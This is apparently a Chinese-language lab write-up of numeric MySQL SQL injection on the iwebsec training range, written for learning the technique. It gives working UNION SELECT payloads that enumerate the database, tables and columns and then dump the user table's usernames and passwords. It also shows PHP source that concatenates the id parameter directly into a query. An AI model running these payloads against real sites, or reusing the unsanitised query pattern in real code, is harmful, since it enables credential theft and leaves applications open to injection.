文章目录
- 前言
- MySQL 数字型
前言
SQL注入漏洞 | iwebsec
MySQL 数字型
-
页面观察:测试看回显
-
注入点判断:发现有sql注入漏洞
AND 可在 where 子语句中把两个或多个条件结合起来。如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
-
判断当前表的字段数
order by 语句用于根据指定的列对结果集进行排序。
-
判断显示位,需要让
id
的值为不可能的值,因为只能回显一次结果,id
的结果不存在才会回显union
语句的结果。union 操作符用于合并两个或多个 select 语句的结果集。union 内部的 select 语句必须拥有相同的列数。
-
爆库名
-
爆表名
/sqli/01.php?id=-1 union select database(),2,group_concat(table_name) from information_schema.tables where table_schema=database()
-
爆字段名
/sqli/01.php?id=-1 union select database(),2,group_concat(column_name) from information_schema.columns where table_name=user
-
爆相应字段的所有数据
/sqli/01.php?id=-1 union select group_concat(id,'--'),2,group_concat(id,'--',username,'--',password,'--') from user
-
看源码
docker exec -it iwebsec bash cat /var/www/html/sqli/01.php
...... <?php if(isset($_GET['id'])) { $id=$_GET['id']; //用户输入的参数 $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; //将用户输入的参数直接拼接在sql语句 $result=mysql_query($sql); //传入后台数据库进行查询,result为返回的查询结果 } else { exit(); } ?> ......
分析
$id=0 union select 1,2,3 $sql="SELECT * FROM user WHERE id=0 union select 1,2,3 LIMIT 0,1";
$sql
的意思是将SELECT * FROM user WHERE id=0
和select 1,2,3
的结果并在一起返回。但是由于LIMIT 0,1
限制,只能返回一条,因此可以让前面的语句没有结果,那么就可以返回后面语句的结果了。